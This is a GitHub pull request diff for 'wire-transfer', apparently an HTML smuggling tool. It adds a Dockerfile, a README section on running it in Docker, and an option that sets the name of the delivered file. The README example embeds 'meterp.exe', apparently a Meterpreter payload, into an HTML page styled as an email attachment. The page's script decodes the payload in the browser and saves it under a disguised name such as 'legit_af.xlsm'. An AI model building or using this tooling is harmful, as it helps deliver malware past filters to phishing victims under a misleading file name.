Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 16 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
FROM python:3.10.12-slim-bullseye

RUN mkdir /wire-transfer /data

COPY . /wire-transfer

RUN chmod +x /wire-transfer/embed.py
RUN chmod +x /wire-transfer/english2bin.py
RUN chmod +x /wire-transfer/wiretransfer.py

WORKDIR /wire-transfer

RUN python3 -m pip install -r requirements.txt

# DEBUG
CMD /bin/bash
18 changes: 18 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,4 +15,22 @@ Install Python 2.7.x, then install the dependancies with:

```
pip install -r requirements.txt
```

Running from Docker :whale:
============================

Build:

```bash
docker build -f Dockerfile -t wire-transfer .
```

Run:

```bash
docker run -v $(pwd)/data:/data -it wire-transfer \
python embed.py --target=/data/meterp.exe \
--output=/data/meterp.html \
--attachment=meterp.exe
```
7 changes: 6 additions & 1 deletion embed.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,11 @@
default=os.environ.get('WIRE_TRANSFER_TEMPLATE', "templates/embed.html"),
help="encode file into embedable .html file")

define("attachment",
group="application",
default=os.environ.get('WIRE_TRANSFER_ATTACHMENT', "legit_af.xlsm"),
help="name of the attachment file")


def main():
""" Starts the app based on cli arguments """
Expand All @@ -44,7 +49,7 @@ def main():
with open(options.template) as templ_file:
templ = Template(templ_file.read())
with open(options.output, "wb") as out_file:
out_file.write(templ.generate(data=data))
out_file.write(templ.generate(data=data,attachment=options.attachment))

if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
Expand Down
2 changes: 1 addition & 1 deletion templates/embed.html
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,6 @@ <h1>Email Attachment</h1>
data.filter(word => { return word.length > 0 }).forEach(word => { byteNumbers.push(decodeWord(word)); });
let byteArray = new Uint8Array(byteNumbers);
let blob = new Blob([byteArray], {type: "application/octet-stream"});
saveAs(blob, "legit_af.xlsm");
saveAs(blob, "{{ attachment }}");
</script>
</html>